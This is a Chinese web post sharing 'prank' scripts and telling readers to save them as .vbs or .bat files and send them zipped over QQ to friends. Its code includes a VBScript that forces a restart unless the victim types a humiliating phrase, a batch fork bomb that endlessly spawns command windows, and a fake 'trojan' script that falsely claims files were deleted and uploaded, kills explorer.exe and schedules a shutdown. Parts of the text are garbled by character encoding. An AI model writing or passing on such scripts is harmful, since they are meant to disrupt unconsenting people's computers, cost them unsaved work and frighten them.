珍藏版的整人代碼給大家發(fā)出來啦!
我們開始制作.在桌面建立個記事本,然后把下面代碼復制進去
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.EⅩE /c shutdown -r -t 60 -c ""說我是豬，不說我是豬就一分鐘關(guān)你機，不信，試試···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關(guān)機，快撒，說 ""我是豬"" ","說不說","不說",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.EⅩE /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，一切皆有可能~"
復制之后呢,把后綴修改為.vbs或者改變打開方式為應用程序，這樣你再壓縮下用QQ發(fā)給你朋友，對方打開了就在60秒內(nèi)要關(guān)閉計算機，
結(jié)素任務都不行，他只能說他是豬才能解決問題。夠壞吧？ 注意哦，你可以把我是豬那個修改成任意想說的話，要是對付你喜歡的人，
就修改成 我愛你 這樣他只有說我愛你之后才不關(guān)閉計算機哦 也可以把時間修改為20 就是說打開了20秒就關(guān)了,還沒等對方打完就關(guān)機了 是不是叫對方很郁悶呢?
第2招編寫VBS腳本
首先你可以看下面的
WScript.Echo("嘿，謝謝你打開我哦，我等你很久拉！"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉，這你都不知道嗎？")
WScript.Echo("怎么才來，說~是不是不關(guān)心我")
WScript.Echo("哼,我生氣拉，等你這么久，心都涼啦。")
WScript.Echo("小強很生氣，后果很嚴重哦。")
WScript.Echo("嘿嘿！你也會很慘滴哦")
WScript.Echo("是不是想清除我？")
WScript.Echo("那你要點上50下哦，不過會給你驚喜滴")
WScript.Echo("還剩49下，快點點哦")
WScript.Echo("還剩48下，快點，小笨蛋！")
WScript.Echo("還剩47下對，就這樣快點點！")
WScript.Echo("還剩46下。你啊就是笨，要快哦，我先不打擾你工作。")
WScript.Echo("還剩45下，記得要快哦！")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停?。?！慢點，我有話要說")
WScript.Echo("還剩12下，你繼續(xù)點我就會消失滴")
WScript.Echo("還剩11下，以后就看不到我拉。555555")
WScript.Echo("還剩10下，你現(xiàn)在可以選擇停止！")
WScript.Echo("還剩9下。你還點啊，不要我拉？")
WScript.Echo("還剩8下，有點傷心拉，干嘛丟棄人家")
WScript.Echo("還剩7下。瘋了，你有點負意！")
WScript.Echo("還剩6下。對。你就點吧，我恨你！")
WScript.Echo("還剩5下，不明白，刪除我你就好嗎？")
WScript.Echo("還剩4下！真要刪除我？")
WScript.Echo("還剩3下?？墒俏艺娴暮芫鞈倌恪?。。")
WScript.Echo("還剩2下。不要這么絕情嘛，人家是愛你的！")
WScript.Echo("還剩1下。哼，既然你這么絕情。也別怪我無義?。。?)
WScript.Echo("我本因該消失的，不過我留戀你滴芳容，上帝又給了一次機會。")
WScript.Echo("想結(jié)素我么?那你就再多點一次")
WScript.Echo("想結(jié)素我么?那你就再多點一次")
WScript.Echo("想結(jié)素我么?那你就再多點一次")
WScript.Echo("想結(jié)素我么?那你就再多點一次")
WScript.Echo("想結(jié)素我么?那你就再多點一次")
WScript.Echo("想結(jié)素我么?那你就再多點一次")
WScript.Echo("想結(jié)素我么?那你就再多點一次")
WScript.Echo("想結(jié)素我么?那你就再多點一次")
WScript.Echo("想結(jié)素我么?那你就再多點一次")
WScript.Echo("想結(jié)素我么?那你就再多點一次")
把這個復制在記事本,把后綴修改成.vbs
用記事本方式保存下列代碼，把后綴改成.bat
@echo off
echo 你中招了
:a
start cmd.EⅩE
start %0
goto a
用記事本方式保存下列代碼，把后綴改成.bat
@echo off
echo 你中招了
:a
start cmd.EⅩE
start %0
goto a
@ color 4f
@echo off
echo 刪除計算機的C盤的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已刪除完畢
echo.
echo 刪除計算機的D盤的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已刪除完畢
echo.
echo 刪除計算機的E盤的所有文件......
ping 127.0.0.1 /n 2 >nul
echo 已刪除完畢
@ color
echo.
echo. =========================================
echo. 啊哈哈，都刪關(guān)，都殺關(guān)，哈哈 ……
echo. =========================================
echo. 系統(tǒng)將馬上崩潰......
echo. 這是一個木馬程序......所有資料已經(jīng)傳到
X@163.com shutdown /r /t 30 /c "電腦在30s內(nèi)即將崩潰或爆炸，請撥打1589737****求助或直接爬下……"
ntsd -c q -pn explorer.EⅩE
ping 127.0.0.1 /n 20 >nul
start explorer.EⅩE
shutdown -a
復制以上代碼保存為bat文件。。。就寫那么多。
本站僅提供存儲服務，所有內(nèi)容均由用戶發(fā)布，如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容，請
點擊舉報。
